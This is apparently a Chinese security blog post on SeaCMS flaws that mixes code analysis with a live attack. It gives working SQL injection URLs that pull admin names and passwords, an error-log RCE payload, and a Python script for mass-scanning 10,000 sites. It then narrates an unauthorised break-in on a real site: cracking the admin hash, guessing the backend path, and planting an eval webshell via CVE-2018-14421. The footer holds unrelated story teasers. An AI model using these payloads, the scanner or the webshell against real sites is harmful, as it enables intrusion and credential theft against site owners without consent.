Seacms SQL注入与RCE分析

本文作者 : 重生信安 - J0o1ey

0X001海洋CMS简介

海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑,手机,平板,APP多个终端入口,无任何加密代码,安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门建造看片网站的cms)
经历我多年**的经验,很多看小电影的网站都是用的这套cms或者maccms,因此是时候血洗小电影站点了 呵呵,安全有保障??头都给你打爆掉,百度搜索seacms。。突破信息都已经上了回家了。。

image
image

0X002 SeaCMS V9.1以下版本全版本SQL注入分析

看到了最近的工具上的seacms sql注入扩展,不由得下体一硬。
干干巴巴的,cnm,必须盘他!

突破产生处代码如下

session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
        if(file_exists($jsoncachefile))
        {
                $json=LoadFile($jsoncachefile);
                die($json);
        }
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
        createTextFile($h,$jsoncachefile);
}
die($h);

function ReadData($id,$page)
{
        global $type,$pCount,$rlist;
        $ret = array("","",$page,0,10,$type,$id);
        if($id>0)
        {
                $ret[0] = Readmlist($id,$page,$ret[4]);
                $ret[3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                {
                $ret[1] = Readrlist($x,1,10000);
                }
        }
        $readData = FormatJson($ret);
        return $readData;
}

function Readmlist($id,$page,$size)
{
        global $dsql,$type,$pCount,$rlist;
        $ml=array();
        if($id>0)
        {
                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                $rs = $dsql ->GetOne($sqlCount);
                $pCount = ceil($rs['dd']/$size);
                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                $dsql->setQuery($sql);
                $dsql->Execute('commentmlist');
                while($row=$dsql->GetArray('commentmlist'))
                {
                        $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                        $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                }
        }
        $readmlist=join($ml,",");
        return $readmlist;
}

function Readrlist($ids,$page,$size)
{
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
        {
                $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
        $readrlist=join($rl,",");
        return $readrlist;
}

仔细阅读以上代码,发现rlist不再被初始化就先进入了ReadData函数,但实际上 rlist可控,最终Readrlist函数创建注入
扩展利用Exploit如下(获取管理员表中第一个用户的密码)

http://www.seacms.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

Exploit2(获取管理员表中第一个用户的账号)

http://www.seacms.net/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`

0X003 SeaCMS最新版本RCE分析

在最新版本的Seacms中sql注入过滤api,着实让人非常蛋疼。过滤的比较全,不太好绕

image

与老版本的seacms对比发现,程序员不知为何为何脑子错抽,注释掉了数据库类中的一行代码,导致数据库报错的信息会直接写入到/data/mysqli_error_trace.php文件下,直接实现了前台rce Exploit www.xxx.com/comment/api/index.php?gid=1&page=2&rlist[]=11 /?> <?php phpinfo(); / 立即访问http://www.xxx.com/data/ mysqli_error_trace.php 发现phpinfo可以执行 闲来无事,直接写了一个批量利用这个rce拆分getshell的脚本,文末有惊喜

image
image

闲来无事,直接写了一个批量利用这个rce漏洞getshell的脚本,客官往下看

image

0X004实战

分析完漏洞后一不做二不休,直接写了个脚本怼了一下百度权重排名前10000的站点:

image

code如下(url.txt内容为你要批量测试的url)


import requests
print(" Seacms v9 SQL Injection-Author:J0o1ey QQ:547006660")
urls = open(r"url.txt", "r")
payload = '/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
for url in urls:
    testurl = url.strip() + payload
    html = requests.get(testurl).text
    if "seacms" in html:
        print("[+]Exploit URL:" + testurl)

虽然比较简陋,但也够用了,我在文末放出了批量检测seacms的完整漏洞利用脚本,可以批量注入和getshell,各位朋友有兴趣可以后台回复脚本

Sql注入的探测脚本发现了一个目标
https://www.***.com/comment/api/index.php?gid=1&page=2&rlist[]=@%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@%27

image

这个站用的老版本seacms,因此不存在前台rce

image

获取到admin用户的md5加密后的密码为b93af3cf59d757e27ca5
somd5成功解密

image

密码为Qq7788520
随后拿着后台路径扫描的程序瞎jb一顿乱扫,结果并没有扫到后台

image

光拿到管理员账号密码,但是没有后台,那有个卵用啊。。。
但是,我眉头一皱,发现事情并不简单
前面获取到的密码是Qq7788520,这应该是管理员的qq吧?

image

猜测后台为https://www.***.com/7788520
结果Duang的一下~真tmd是后台。。。。进去了
用之前注入到的账号密码,成功登录之

image

即使进了后台,拿不到shell的话,也是很鸡肋的,于是我便找了一下seacms公开的漏洞
最后找到了CVE-2018-14421,一个Seacms Backend的RCE

漏洞详情链接:

http://hexo.imagemlt.xyz/post/seacms-backend-getshell/index.html

漏洞分析文章:

https://www.anquanke.com/post/id/152764

按照作者给出的方法,是在后台编辑video的时候,在图片pic处注入代码

{if:1)$GLOBALS['_G'.'ET']a;//}{end if}
利用是:/details/index.php?1.html&m=admin&a=assert&b=phpinfo()
仔细研究了一下,不一定偏要像作者那样利用,只要在这个video的照片出现的地方通过get方式传导php代码即可实现参数污染

我在首页上找到了一个叫做“传说中的七公主”的video,

image

在后台搜索该影片后
我把它的照片链接处改为了{if:1)$GLOBALS[‘_G’.’ET’]a;//}{end if}

image

随后访问链接:
http://www.***.com/index.php?1.html&m=admin&a=assert&b={fputs(fopen(%27d.php%27,%27w%27),%27%3C?php%20@eval(_POST[c])?%3E%27)};

成功通过RCE利用PHP的fputs函数在网站根目录下,写入了一个名为d.php的Webshell(密码为c)

高高兴兴连接之

image

0x005感想

最近因为各种原因,没太有时间写文章,加上自己又大病了一个多月,可以说是非常虚弱啦,希望大家能够理解。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,080评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,422评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,630评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,554评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,662评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,856评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,014评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,752评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,212评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,541评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,687评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,347评论 4 331
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,973评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,777评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,006评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,406评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,576评论 2 349

推荐阅读更多精彩内容

  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,818评论 0 9
  • 第1章MySQL渗透基础...1 1.1MySql5.7安装...1 1.1.1下载MySQL.2 1.1.2安装...
    simeon2015阅读 966评论 0 2
  • 签到2 地址:来源:网络攻防大赛 说了输入zhimakaimen,开始输入没认真看,只能输入10个数字,可是zhi...
    JasonChiu17阅读 4,734评论 0 9
  • 原文地址:https://xz.aliyun.com/t/6357 1. 文件上传漏洞 1.1 漏洞简介 ​ 文件...
    这是什么娃哈哈阅读 1,687评论 0 0
  • 写作是锻炼思考力的修行; 阅读、观察、总结、体验都能让人产生思考,但是对于写作的思考能存在的更加的长久,因为写作需...
    乔果_zh阅读 743评论 3 9